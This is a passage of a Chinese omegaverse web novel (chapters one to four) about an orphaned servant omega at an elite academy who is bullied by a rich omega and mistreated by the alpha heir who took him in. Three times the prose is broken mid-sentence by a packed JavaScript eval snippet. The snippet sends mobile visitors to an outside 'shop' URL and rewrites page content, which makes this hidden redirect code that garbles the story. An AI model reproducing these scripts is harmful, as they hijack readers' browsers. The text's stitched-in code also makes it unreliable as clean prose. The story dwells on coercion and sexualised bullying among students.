《贵族学院的共有omega》 1. 第 1 章 “你与戚珣信息素匹配度99.9%?” 祝青辞被几个男生围堵在走廊尽头时,窗外刚好下起了暴雨。 铁幕一般的苍穹笼罩着加德王立学院,豆大的雨滴淅淅沥沥地砸在大理石砖上,湿漉漉的雨汽不断从罅隙涌进走廊,刮起一阵阵阴冷的风,更远处,白塔上老旧的青铜钟在暴雨中晃荡着,撞出悠长的声音。 加德王立学院是全国唯一的一所贵族私立学校,名字虽颇有一种精心打扮的土气,里面却都是未来的名流贵族——分别有不学无术的纨绔子弟,豪门世家的千金少爷,走了狗屎运的暴发户,以及极少的、作为陪读的平民小姓。 小姓是一种委婉的名称,真实身份类似于古代的侍读或书童,再直白一点,也就是各位少爷小姐的小保姆、小仆从。是阶级中最为下贱的存在,无论是谁都能踩一脚。 ——就像祝青辞一样。 丁宴恶意地用手肘卡住祝青辞的脖颈,他脸上满是厌恶以及一点微不可察的嫉妒,如毒蛇嘶嘶地吐着芯子,“说!是在哪里做的报告,你伪造了数据?” 祝青辞呛咳了一声,很轻地说:“没有。” “我查过你,无父无母的孤儿,十岁在赫山被戚珣捡到,随后作为戚珣的仆从进入加德王立学院……哈,加德王立学院真是什么垃圾都收。” “他只是把你当仆从而已,你以为如果不是因为信息素绑定,他真的看得上你吗?你也配?” 祝青辞感觉到肋骨里的空气被人慢慢挤压,窒息感传来,像是被旧报纸蒙住了脸,他无力地抓住霸凌他的男孩的手臂,依然只是很轻很轻的声音:“……没有。我没有这样想。” “哈。戚珣可不愿意公开与你的身份,他从来没有在明面上承认你的存在。他不是会被信息素影响的人。即使你与他信息素匹配度高,也不能代表什么。” 丁宴继续逼问,恶狠狠:“他标记你了?” 祝青辞沉默了一下,被眼前人恶意泼水淋湿的额发垂落下来,眼睫轻轻颤抖着。他深深呼吸一口气,手指缓慢地收紧成拳,最后又慢慢地松开。 他想起自己是如何来之不易,才得到上学的机会,以及戚珣冷淡至极地甩开他的手,对他说“别给我添麻烦”的样子,最后还是露出一个礼貌的微笑:“……没有。我信息素失常,没有人可以标记我。” 明明被人霸凌着,他看上去就像是上课被点到乖乖回答的好学生,莫名让丁宴感到烦躁,他冷笑一声:“信息素失常?不能被任何人标记的omega?这不就是劣等omega?” “靠,那戚珣凭什么看上你这样的劣等品?我可是S级omega!” 丁宴脸上的厌恶转为深可见骨的嫉妒,愤恨如岩浆一般从他的双眼中流出,刺痛祝青辞的眼睛。他越想越生气,戚珣能看上劣等品?于是他拧着男生的脖颈,让他转身。 丁宴身后的几个男生瞬间睁大了眼睛,震惊地试图阻止他:“等会,丁宴你……!” 丁宴不耐烦地摆摆手,“都是omega,闭嘴,我倒是要闻一下是什么味道的信息素。” 祝青辞后知后觉地意识到他要做什么,瞬间激动地反抗起来,然而丁宴身为S级omega,各方面的机能自然都要比劣等品的祝青辞好。 因此最后祝青辞只能被迫被比他高大的少年压在墙上,他被人压在墙壁上,手高举着被压在头顶,浑身上下都湿淋淋的,从衬衫中渗出的水汽泅湿了蓝色描金的合欢花壁纸。 祝青辞喘着气,单薄的胸膛剧烈起伏着,最后直直地盯着丁宴:“是不是给你闻,你就放我走?” 丁宴:“你在跟我谈条件?不过,可以,我心情好,自然就会放你走。” 他挑衅十足地看向祝青辞。 腺体是omega最为隐秘的器官之一,标记时的alpha常常会狠狠用犬齿叼住omega的腺体,往腺体中狠狠注射信息素,让omega从内到外都充斥着alpha的气味。 因此omega是不能随便给人闻后颈的。 丁宴眼下正在毫不犹豫地羞辱祝青辞,双手抱臂等着看眼前的劣等omega红着眼颤抖,屈辱地低下头,露出被羞辱的表情。 祝青辞深呼吸一口气,爽快利落道:“行。” 他一边转身,一边用一种无奈的语气很小声地自言自语:“真不知道这个富贵包有什么好闻的。” 丁宴没有听到,否则他自然会瞪眼大叫跳起来指着祝青辞的鼻子让他跟全体omega脆弱的心灵道歉。 然而祝青辞从十岁起,便与戚珣生活在深山老林中,戚珣没有请教室给他上个过任何的性|教育课,老师只会教祝青辞如何服侍戚家少爷。至于其他?不重要。 ——以至于他对这个世界的绝大多数知识仿佛一张白纸,只知道自己好像多了一个奇怪的器官。 祝青辞不明白后脖颈那个“富贵包”到底有什么好闻的,也不明白为什么戚珣喜欢咬他那里,除了疼以外,他几乎没有其他感觉。 丁宴没有想到祝青辞居然真的答应他。闻omega后颈对omega的羞辱比泼水甚至殴打还要严重,可是祝青辞居然就这样毫不反抗地给他闻后颈? 这跟邀请他与他上|床有什么区别? 丁宴气死了。怎么会有这么轻浮的omega?!忍不住咬着牙骂:“浪荡!” 祝青辞根本听不明白他在骂什么,一时间内心有些无语,他缓缓低下头,只想赶紧解决。 男生脖颈细瘦纤弱,好似蒲柳般一摧就折。丁宴内心挣扎了三秒,最后不屑地哼了一声,在身后几个小弟震惊的眼神中,低头轻轻嗅了嗅男生的后颈。 他将omega压在墙上,一只手扣住他的双手,然而他一闻到祝青辞从抑制贴中泄露的、几乎微不可闻的一缕信息素,脸都皱起来了,大叫:“你这什么味道?燃烧的木头?” 那仿佛是冬季老山着火,滚滚浓烟的味道随着噼里啪啦燃烧的木头四溢,呛人而苦涩。 丁宴脱口一句“难闻”,整个人却忽然恍惚了一下。 山火之下似乎还有一层很淡很淡的气味——仿佛清晨笼罩山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731077|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的薄雾,风一大就能吹散。冰凉而沁鼻,令人想起冬日雪地下掩埋的花。 他下意识凑得更近,呼吸猛地沉重起来,鼻尖几乎要抵在omega的腺体处,莫名感觉到虎牙处痒得厉害。 像是饿极了的豺狼分泌唾液,拼命地想要再嗅闻一下方才那缕冰凉的花。 可是他再要闻,那缕气味就又被呛人的浓烟给掩盖住了,像是有恶龙咆哮着逡巡在洞穴守住他的宝物。 丁宴整个人晕乎乎的,嘴唇微微张开,露出有些尖的虎牙,眼看就要咬在祝青辞的后颈时,祝青辞戴在左手腕的黑色手环却忽然震了一下。 祝青辞神色猛地一变,挣脱着想要离开,可是丁宴整个人几乎都扑在他身上,将他死死禁锢在墙角。 祝青辞终于不耐烦了,他艰难地转身,冷冷地抽了丁宴一巴掌:“闻够了没有?” 丁宴脑袋一偏,整个人呆滞了好一会,火辣辣的感觉才后知后觉地涌上,他猛地扭过头,怒道:“你敢打我?!” 他火冒三丈,他是丁家的独子,从小便是捧在手里怕化了,从小到大就没有人敢打他! 可他一扭头,怒火却如同迎下兜头冷水。 方才还敛目低眉,看上去又乖又软的omega此时正冷冷地看着他。 凌乱的黑发柔柔地贴在雪白如玉的脖颈处,男生身形清瘦,王立学院用料精致讲究的校服衬衫被水淋湿,湿漉漉地贴在omega身上,隐约可见暧昧勾人的肉|色。 几滴透明的雨珠从他苍白挺秀的鼻尖上慢慢滑下,悬在鼻尖上摇摇颤颤的,苍白的唇上有着淡淡的咬痕,温暖潮湿的水汽从他微微张开的口中呼出,隐约能闻到一股暗香。 分明是手无缚鸡之力的omega,可是他生气起来时,神色莫名地冷淡。丁宴莫名心脏一突,下意识地松了手,祝青辞便冷漠地推开了他。 丁宴却像是被人狠狠踩了一脚,拉住他的手腕,恶狠狠道:“你跑什么?我还没问完呢!” 他死死地卡住祝青辞的手,少爷脾气发作。可祝青辞却没有再看他,只是看着表,语气冷淡地说:“我必须要走了。如果你再无理取闹,” 他没来得及说完,低下头,用手捂住嘴,闷闷地咳嗽几声。 每逢下雨天他的身体就孱弱不堪。omega细瘦的肩胛骨随着他咳嗽轻轻抖动着,看上去孱弱不堪。 丁宴感觉到手中的皮肉凉得厉害,瘦瘦一截骨,莫名呼吸一滞,下意识放开了手,“你……” “你们在做什么?” 不远处,惊雷炸响,走廊的尽头,一个人双手插兜,看向了他们。 alpha脸庞在暴雨中半明半暗,只能瞥见一个线条锐丽的下巴,眼睛黑沉沉地在夜色中盯着他们。 “戚珣?” 丁宴瞬间后退三步,后背忽然被冷汗浸湿。 戚珣阴恻恻地盯着他们,潮湿的水汽从罅隙中涌进,窗外的树影随风摇曳,落在他身上,仿佛逡巡的鬼影。 ——他看上去仿佛一个捉|奸妻子与他人在床的丈夫。 2. 第 2 章 #今日校园热点论坛,热点第一(hot) 发帖人:上学不如上坟 今天得知喜欢了一年是校草有男朋友了,我心碎了 1L:前排。我也心碎了。 2L:看来大家都知道这件事了。有没有人知道小男友是哪里来的? 3L:小男友?小仆从还差不多。校草本人从来没有说过喜欢他吧。 4L:我就说校草消失一年是在做什么,这是谈恋爱去了? 5L:校草眼睛还好吧?我今天看到照片了,他怎么看上这么个货色!就校草那张脸,他一个穷酸样,怎么配?癞蛤蟆想吃天鹅肉。 6L:是吗?我觉得长得还行。你们不觉得小仆从的脸长得很带劲吗。 7L:? 8L:? 9L:?楼上,你什么意思? 10L:我懂。就是那种意思,看上去很想让他哭,感觉他哭起来会很漂亮…… 11L:我线下见过真人。真人……很不一样。我只能说,如果7不要的话,我也可以勉为其难地接受一下。 12L:?楼上怎么连吃带拿的?STOP,现在有更重要更紧急的事——听说有人在找他的麻烦?劳驾,谁能现场直播一下?我瓜子都带好了。 13L:呵呵呵呵。 14L:(沉默) 15L:?不要不吱声啊!人呢? 16L:回楼上,这题我会。这根本难不倒我。 丁闻了小仆从的后脖颈。 17L:????不是找麻烦吗?这是找麻烦该做的事情吗?是我落伍了还是这世界变了? 18L:大家静一静,我要宣布一件事。 已知:小仆从是7男朋友, 又已知:闻omega后颈≈上床, 四舍五入一下—— 丁睡了7的男朋友!!!! 19L:??? #此帖已于2030年9月2日16:32封禁。 - 戚珣当天就和祝青辞闹起了别扭。 当然,在祝青辞眼中可以说是“别扭”,但是在其他人眼中,简直与霸王龙暴走毫无区别。 戚珣平等地喷死了每一个胆敢跟他打听祝青辞的人,连狐朋狗友都不能避免,灰头土脸地被他轰走。 祝青辞敲响戚珣宿舍房门时,门扉却骤然被什么重物砸了一下,里面传来一声压抑着不耐烦的怒吼,裹着熊熊燃烧的愤怒:“滚!别来烦我!” 祝青辞往后退了几步,犹豫了一下,还是又敲了敲门,轻声道:“小珣,暴雨将我的宿舍淹了,我……” 里面传来一声粗口,门被猛地打开。 alpha带着他灼热滚烫的信息素扑面而来,他胸膛因为压抑的愤怒而剧烈颤抖着,眯着眼睛,沉声道:“祝青辞,这就是你勾引我的手段?” 祝青辞没有得到关于ABO的任何生理性教导,否则他就该明白戚珣在用信息素霸凌他——可他也能感觉到alpha信息素中不加掩饰的嫌恶,施压一般,排山倒海地将他淹没。 信息素的释放管辖其实是非常严格的,里面包含的几乎是情绪的实体化,其中负面情绪尤为剧烈——先不论高阶的alpha释放信息素时,都能叫一个低阶alpha跪碎膝盖。 而比alpha对信息素还要敏感十倍的omega在遇到信息素压制时,基本无一不是出现心悸、恐惧的症状,更严重的甚至能崩溃,大脑受损。 然而祝青辞腺体有损,不能很好地感知他人的信息素,只是觉得空气中硝烟味重了一点,他被熏得蹙了蹙眉,alpha却以为是他屈服于自己的信息素下,心中不免冷笑一声。 戚珣抱着双臂,居高临下地看着眼前被他的信息素砸得几乎站不住脚的omega:“祝青辞,谁允许你来找我?” 他站在门边,他刚刚沐浴结束,乌黑的发丝黏在他俊秀的侧脸上,白日里看上去好看的脸此时却阴沉如水,莫名令人毛骨悚然。 “你今天白天刚和一个死小孩偷情,晚上就来找我撒娇卖惨?怎么,当我是死的?” “你知道不知道omega是不能随便给人闻后颈的?” 祝青辞茫然地看着他,下意识摸了摸自己的脖子。 只是闻一下脖子,有那么严重吗? 如果全世界的纷争都能用闻脖子解决多好。 戚珣逼迫感极强。信息素的强制施压堪比给omega注射军用吐真剂,空气中硝烟味越来越浓。 祝青辞的面色一下子惨白起来,呼吸急促了几分。 不行……好难闻。都是烟火的味道。 再这样下去,学校的消防报警器会不会响? 祝青辞憋气憋得肩膀颤抖,脸都涨起了淡淡的红,但是他不敢说出来,怕戚珣暴怒之下把他掐死。 戚珣看omega低着头,什么话也没说,眼眶却红了,瘦弱的肩胛骨却如蝶翼一般轻颤,像是无法承受他沉重而威压极强的硝烟味信息素,才终于满意地收起了自己的信息素。 硝烟味是戚家传统的信息素,代代相传,几乎成为他们家族血统高贵的象征。 无论alpha还是omega,只要闻到了他们家的信息素,莫不臣服于此。 即使是腺体残缺、无法被标记的omega也不能例外。 空气中浓郁的烟火气慢慢消散,祝青辞轻轻地呼吸了一口,还好报警器没响……不然估计他今天又要被围观了。他递过去一个箱子。声音放缓,似乎是想要安抚生气的alpha:“小珣,我……” 戚珣看向箱子,接着,他表情一瞬间冷下来,“你什么意思?今晚想睡我这里?别太得寸进尺了。” 祝青辞一愣。 “你不会以为跟我说,我就会放你进我房间,跟我共宿吧?想都别想,脏死了,癞蛤蟆想吃天鹅肉,你以为我会让你占我便宜么?” 他傲慢地一扬下巴,“能进加德王立学院,都是多亏我的帮忙。你要是再敢痴心妄想一些其他的,别怪我不客气。” 祝青辞一时间忘记自己方才想说什么,“可是……我们不是在一起了吗?” 他不说还好,一说这个,戚珣立刻暴怒,暴戾地掐住omega的脸,皮笑肉不笑道:“闭嘴。那晚根本就是你趁虚而入!要不是因为奶奶……总之你要是敢传出去,你……” 戚珣一顿,他忽然想起今天所有人看向他的奇特目光,以及背后的如蚊虫般逡巡不散的议论,神色更黑:“你已经说出去了?” 什么?说什么?祝青辞茫然地摇了摇头,“没有。” 没有?那其他人如何知道的?戚珣压根不信,看向祝青辞的目光却愈加鄙夷,仿佛是已经笃定祝青辞在他面前撒谎,因此内心愈加不悦:“你不要以为攀上我,就是攀上了高枝。贪图钱财都得有个度,若还是想要更多,就是人心不足蛇吞象。” “我知道你只是父母用来控制我的,所以你也应该点到为止。” “别以为他们让我叫你哥,我就真的会认你这个哥哥。” 祝青辞被他骂得晕头转向,丝毫不知道自己哪里做错了。 然而戚珣看他的眼神仿佛在看十恶不赦之人,祝青辞心想,小珣脑子一直不太好,可能又发病了,他想起戚家父母对他的叮嘱,很轻地点了一下头,把箱子递过去:“……这是你寄放在我那里的东西,我帮你收拾出来了,没有坏。” “……” 戚珣神色有一瞬间的凝固。 他站在门扉处,低声骂了一声,伸出手猛地抢过箱子。 祝青辞睫毛轻轻颤了颤,声音很轻:“我知道你不喜欢我,那我们……” “我虽不喜欢你,但是我不是那种做了不负责的人,”戚珣似乎察觉到祝青辞想说什么,猛地抬高声音,打断他:“既然是我临时标记了你,就当给你的补偿,勉为其难地跟你继续在一起。不过你要遵守以下三点。” “第一,你不能在公开场合与我亲近,我们依然是主人与仆从的关系;第二,没有我允许,你绝不能碰我哪怕一下;第三——” 他眯起眼睛,上下轻蔑地一打量祝青辞,冷笑一声:“我是绝对不会喜欢上你的,所以你绝不要自作多情。” “你就抱着这段关系偷着乐吧,小狗。” 随后箱子往房内一甩,便嫌恶地拍了拍手,仿佛碰了什么很脏的东西一般。接着,也不管祝青辞一身狼狈,便往他头上劈头盖脸地丢了一大堆衣服,居高临下:“帮我拿去洗了。” 说完,不等祝青辞任何反应,“砰”一声,毫不犹豫地在祝青辞面前将门关上。 门扉承受不了这么剧烈的打击,簌簌发抖地抖落一地尘灰,盖了祝青辞一脸。 祝青辞摸了摸鼻子,倒是很好脾气地把戚珣的衣服抱走了。 他是戚家收养的小孩,更准确的说,是戚珣八岁在深山中捡到他的。 戚珣年少成名,小时候在赫山拍摄,一次泥石流中,居然滚出个祝青辞,被戚珣大感新奇地捡回去养。 两个人朝夕相处,小祝青辞似乎在灾祸中头脑受创,失去记忆,脑海中什么东西都忘了个光。 小时候,戚珣还会跟在自己身后,叫他哥哥,可是后来的背叛让戚珣对祝青辞百般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731078|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌恶,因此祝青辞在戚家的地位一落千丈,成为一个“仆从”。 但他知道是戚家收养自己,因此并没有怪罪。况且,他作为“仆从”亦或是“哥哥”时,戚珣对他而言都是一样的。 ……是一个头脑不太清醒,需要照顾的小孩。 戚珣坐在床上,水滴从他的眼角眉梢滑落,顺着他笔挺的鼻梁滴滴答答往下滑落,眉骨在阴影中立体又俊秀。 他掏出一本书,然而越看,书上的字迹越扭曲,忍不住愈加烦躁。他把箱子随便塞在一个角落里,不懂为什么有这么不解风情的omega。 他送上门来,不就是为了让自己标记他吗? 居然就走了? 雨下这么大,他能去哪里? 不对,他去哪里关我屁事,淹不死他…… omega低垂着眼,眼眶泛红的模样在他面前蓦然闪现,一副轻而易举就能被风刮跑的模样。 他低骂一声,“唰”地一下站起,猛地将门打开,目瞪口呆:“人呢?祝青辞死哪去了?” * 祝青辞从洗衣房出来时,已经接近半夜。 加德王立学院对学生的夜生活管教并不严格,宿管三天打鱼两天晒网。祝青辞走来走去,直接迷路。 窗外风雨交加,电闪雷鸣,他觉得头昏脑涨,似乎有些发烧,脚步沉甸甸地拖着,心脏缓慢地在他胸腔跳动,闷闷地令人呼吸不畅。 今晚该去哪里睡好呢?桥洞下已经去不了了,校医室的门也上锁了。 ……戚珣应该不会再生气了吧? 他艰难地撑起一丝理智,试图思考,然而大脑像是发泡的面团。 路过一扇门时,里面忽然传出一声叫嚷:“谁在外面?!” 那门长得跟监狱的铁门似的,门上还有一个铁栅栏围成的小窗。 祝青辞一扭头,就看见一双眼睛隔着一扇铁门恶狠狠地瞪视着他,仿佛一只狼崽子。 在看见他的脸厚,那人震惊地瞪大双眼,脱口而出:“操,祝青辞?为什么是你!” 祝青辞也很惊讶,“你是……” 他仔细回忆了一下,一副真的想不起来的模样,眉眼上很快带上了歉意。 铁门里的人快被他气吐血了,难以置信:“我是丁宴!你……我们白天还见过面的!你真不记得了?” 祝青辞想起来了,“你怎么在这里?” “你还好意思说!” 丁宴今天下午课一放,就被学生会拘留遣送,斥责他扰乱秩序,罚他关一天的禁闭。 他被没收了所有电子设备,在这里叫天天不应叫地地不灵,无聊得他快发霉,他气愤至极,隔着栅栏,恨不得把祝青辞掐死,“要不是你,我怎么会被学生会关!” 贵族学院的学生会是一个很神奇的存在。他至今也想不出他怎么就惹上了学生会会长,但是学生会会长可是与戚珣并列的四位名人之一,他怀疑是戚珣与学生会会长通气,来刻意打压他的。 不然他堂堂一个丁家少爷,有谁能惹他? “因为我?”祝青辞看上去有些意外,困惑道:“可是我不认识学生会的人,应该是你违反纪律了。” 他看上去很诚恳的模样。丁宴不知道他是真傻还是装的,可他一看祝青辞转身要走,脸上立刻露出慌乱的神色,艰难地从缝隙中伸出手,抓住祝青辞的衣领:“等等……你别走!” “你这么晚还要去哪里?” 祝青辞头重脚轻,浑身骨头在暴雨夜中泛着细密的疼,他感觉到自己呼出的呼吸有些灼热,整个人都轻飘飘的。 他忽然问:“你……禁闭室里有床吗?” “?”丁宴狐疑道:“当然有,你要干什么?” 还能干什么?在丁宴震惊的眼神中,祝青辞不知道从哪里掏出了回形针,把禁闭室的门撬开,就这么正大光明地走进了房间。 禁闭室是一间大约十平方米的房间,居然还有厕所与浴室,角落里摆着一个铁架床,上面的被褥崭新,带着清新的皂荚香,看得出是为了照顾这位小少爷特意换过的,床头柜的煤油灯悠悠跳着一簇火苗,橙黄色的光斑洒落一地,在这样的暴雨夜中,居然有种淡淡的温馨感。 祝青辞在小少爷震撼的眼神中笑了笑,说:“借你这里睡一晚。台风把我宿舍被淹了。” 丁宴只听到前一句,脑子就“嗡”了一声,什么也听不清了。 他震撼得不知道说什么才好了,噔噔噔地退至墙角,整个人都快贴到墙上了,语无伦次,心脏在胸膛中砰砰作响,整张脸当场红温,发出尖锐的爆鸣声:“等等,你,特意来找我,睡觉吗?!” 3. 第 3 章 丁宴与祝青辞一样,也是omega,从小奉行的便是AO有别,OO之间是激烈的竞争者——可omega就能随便乱进别人的房间了吗?! 道德在哪里,节操在哪里,这天下还有没有王法了?! 他像是一个忽然被闯进闺房的大小姐,又惊又怒。祝青辞却没有理他,他的头越来越晕,眼前出现重影。 ……可能是发烧了。 眩晕的失重感包围着他。他环顾了一下房间,忍不住按了按太阳穴,“我睡床,你睡地板。” 丁宴瞬间跳脚,他气得脸红脖子粗,暴跳如雷:“凭什么!祝青辞我今天算是看清你了!你就是一个土匪!强盗!你怎么好意思!” 祝青辞瞥了他一眼。 因为发烧,omega苍白的脸上涌起一抹潮红,他垂着头,长而卷的睫毛落下,掩盖住他那双如水般漂亮的蓝色眼眸,从衬衫中露出的脖颈一片病态的雪色,纤弱得仿佛一只手就能轻易折断。 他轻轻咳嗽了几声,单薄的胸膛起伏几下,带着指责意味说:“丁宴,白天是你先泼我水的。” 丁宴脑子一片空白,一瞬间什么都说不出了。 他眼睁睁地看着祝青辞旁若无人地进了禁闭室中的浴室,换下了白天那身潮湿的衬衫。水声淅淅沥沥地响起,丁宴坐在原地,憋了半晌,还是忍不住往浴室瞧了一眼。 禁闭室中的浴室是毛玻璃的,可以隐隐约约看见一个清瘦的人影。 很瘦,但是骨架很好看,像是被人精心打造的玻璃樽,有种易碎的惊心动魄的美,仿佛用力一点,就能破碎在手心。 如果把他压在玻璃上,从外面去看…… 丁宴面色一变,差点抽自己一巴掌。 浴室门倏地被打开。 清香的湿热水汽扑了丁宴一脸,他一扭头,就看见omega穿着一件宽大的衬衫站在浴室门口。 祝青辞黑发潮湿,额前发丝滴下水珠,轻轻呼出一口气,他有些意外地看向表情明显不自然的丁宴,眉毛挑了一下,“怎么了吗?” “你……”丁宴似乎又被他气到了,忽然注意到什么,神色怪异:“你皮肤为什么忽然这么红?” omega身上的皮肤红得有些不太正常,似乎是有人大力揉搓过。祝青辞愣了一下,“我一直是这么洗澡的。” “你洗澡洗这么用力?不怕把皮给搓坏?”丁宴神色一冷。 祝青辞也很意外:“戚珣教我的……” 他小时候,很多事情不太记得,都是戚珣教他的。比如洗澡的时候,必须用力一直将皮肤挫至泛红。如果他不洗这么用力,戚珣便会骂他脏。 可惜祝青辞是真的不记得很多东西了,因此他甚至没有意识到这其实是戚珣故意折磨他,反而将此当做常识。 他一开始还会因为疼掉几滴生理性泪水,后面习惯了,便都咬牙坚持了。 丁宴神色不太好看,过了好一会,才说:“这样是不对的,你以后……轻一点。” 祝青辞敷衍地点了点头,很明显地感觉到自己体力不支,因此走到床边直直地倒了下去。 床头柜的煤油灯还燃着,他不知道丁宴是不是怕黑,因此只是用一只胳膊挡住自己的眼睛,眼皮沉甸甸地压下来。 “睡什么?我让你睡了吗?” 丁宴踹了床一脚,逼问他:“你从哪里学到的撬锁技巧……哈,忘记你是下民了,阴沟里的老鼠学一些不入流的技巧也很正常。” “还有,你宿舍被淹了,为什么偏要来我这里?戚珣不是你男朋友吗?你为什么不直接睡他那?” “我知道了,你被人嫌弃了吧。” 丁宴“哼”了一声,故意刺激他,“我就说他不会看上你这样的劣等品,劝你还是尽早和他分开……” 祝青辞被烧得有些迷迷糊糊的,他耳畔都是嗡嗡作响的嗡鸣声,然而他不回答,丁宴似乎就要这样没完没了了。因此他很轻地说:“他嫌我脏。” “不过,我也不愿意与你睡一起,是你……” 丁宴话说到一半,终于反应过来祝青辞方才说了什么,眼睛不可思议地瞪大,仿佛一只忽然被掐住脖子的老母鸡,下意识脱口而出:“什么?他嫌你脏?他凭什么?!” 丁宴没有听见祝青辞的回答,他看见omega蜷缩在铁架床的角落里,宽大的衬衫贴在他孱弱的肩胛骨上,垂坠着往下,缓缓勾勒出蜿蜒起伏的腰线。 那线条干净、流畅而温婉,仿佛被埋藏在雪原中的山峦。 丁宴忽然想起家中被人珍藏在橱柜中名贵的青花瓷瓶,那上面的线条也是这般易碎而饱满,漂亮得想要让人上手触摸把玩。 怎么会这么瘦?一只手就能掐住他的腰了,戚珣没有照顾好他吗?他在戚珣那受了欺负吗? 丁珣忍不住皱眉,胡思乱想着,然而很久没听见omega的回答,忍不住大骇:“喂,你不会死了吧?不要死在我这里啊!” 祝青辞忍不住逗逗小孩,他闭眼假寐,呼吸浅淡近似于无。 丁宴有些慌,他连滚带爬地冲到铁架床旁边,拼命地摇祝青辞,在他耳边疯狂叫道:“祝青辞!不许睡!” 睡着了就再也醒不过来了!电影里都是这么说的! 祝青辞被他摇得七荤八素,本就不舒服,现下是真的快吐出来了。他放下手臂,无奈地睁开眼睛,看着眼前的倒霉孩子,“丁宴,没人说过你很吵吗?” 丁宴快气成个河豚了,“吵?你跑来我的禁闭室,跟我,啊,孤男寡男共处一室,还让我睡冷冰冰的地板,居然还敢说我吵?!你到底知不知道我是因为谁才被关进来的啊?!我是什么很贱的人吗?!” 不,祝青辞默默地想,你是一点就着的炸药桶。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731079|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他被少年烦得头疼,只能勉强支起身体,给他挪了一点位置,闭着眼睛,“好啦,别吵了,你睡过来吧。” omega似乎困极了,语气黏黏糊糊,带着点缱绻的温柔和不经意的纵容。 他躺在床上,将床垫压得微微凹陷下去,让那块原本雪白而平平无奇的被褥看起来像是一个温暖的巢穴,令人情不自禁地想要钻入。 丁宴一靠近,就能嗅到他身上的香气——不是白天闻到的刺鼻的硝烟气味,而是另一种,从皮肉中隐约透出的,更为引人沉沦的气息。 似乎是被大雪掩埋的松林清香。 等丁宴反应过来时,他已经躺在床上,和祝青辞肩并肩。两个人挨得很近,omega皮肉下透骨生香,一时间,丁宴鼻尖全是omega带着温暖水汽的清香。 祝青辞背对着丁宴,后颈就这么无知无觉地暴露出来,因为沐浴,淋湿的发尾湿哒哒地附着在他苍白的皮肉上,显得那一小块皮肤苍白得几乎透明。 什么味道……好香……想咬…… 他察觉到有什么冰冰凉凉的东西在触碰自己的后颈,只以为丁宴又在捣鼓折腾他,很低很低地警告他一声:“丁宴?别闹了。” 他警告得有气无力,听在丁宴耳里,跟撒娇一般无二。丁宴猛然回神,面红耳赤,瞬间后仰,差点滚下床去。 然而他快滚下去之际,一只手忽然把他拉了回来,像是在嗔怪,又像是在惩罚他一般,拍了下他的额头。像是小猫小狗不听话闯祸时被主人又气又无奈地拍打脑袋。 丁宴这才回过神来,捂着额头,脸颊烫得发热。 “……你到底和戚珣是什么关系啊?” 他支支吾吾,别扭至极,他长这么大,还是第一次与除了家人以外的人同床共枕。 祝青辞只占据了床边很小一块位置,他蜷缩着身子,从后看,只能看见微微凸起的脊柱从他嶙峋的后背突出,像是一只瘦弱的猫。 祝青辞困得迷迷糊糊,过了很久才回答他:“……我也不知道。” 说是兄弟,不为承认,说是情侣,也不太像。倒像是最熟悉的一对陌生人。 丁宴闻言,眼睛一亮,激动得扑在祝青辞身上,“什么意思?你没有与戚珣在一起,是不是?” 他沉甸甸地压下来,把祝青辞困在身下,在黑夜中,只露出一双黑亮亮的眼睛,像是见到骨头的小狗,尾巴都要摇起来了。 祝青辞推了推他,然而他手绵软无力,根本推不动。 明明两个人都是omega,他看上去却要更为瘦弱,一副好像随便什么人,都能轻而易举地蹂躏,碾出汁水。 他头颅无力地后仰,露出苍白脆弱的脖颈,丁宴盯着他毫无防备的脖颈,蓦然想起白日里omega身上那若有似无的香气,眼睛一时间有些发直,嘴上却还是说着:“那你能不能帮我追戚珣?” 4. 第 4 章 “……不行。” 祝青辞是真的快困死过去了,他有些后悔来这里了,迷迷糊糊地心想,早知道还不如撬校医室的门……明天跟护士姐姐好好道歉就好了。 “为什么不行?”丁宴不依不饶,缠着他不放,忽然想到什么,面色一变,目光沉了下来:“难道说你喜欢戚珣?” 即使被关禁闭室,小少爷看上去却依然与“落魄”二字没有一丝瓜葛。他身上穿着金丝勾边的衬衫,发根微微卷起,小卷毛打理得井井有条,令人想到橱窗中被人精心打扮、骄傲漂亮的波斯卷毛猫。 可眼下他沉下脸来,却莫名叫人发怵,直勾勾地盯着祝青辞脆弱的喉结,脸上的表情不知何时消失了,像是埋伏在丛林中,亟待衔住撕咬猎物脆弱咽喉的大猫。 可躺在他身下的人却无知无觉,脑袋无力地侧歪在雪白的枕头上,乌黑的发丝湿哒哒黏在他白腻的侧脸上,只是继续气若游丝,从鼻子里“嗯”了一声。 他这问题问得也好生奇怪,祝青辞与戚珣既然是在一起了,那自然是喜欢的,他非要多嘴问一句作甚? 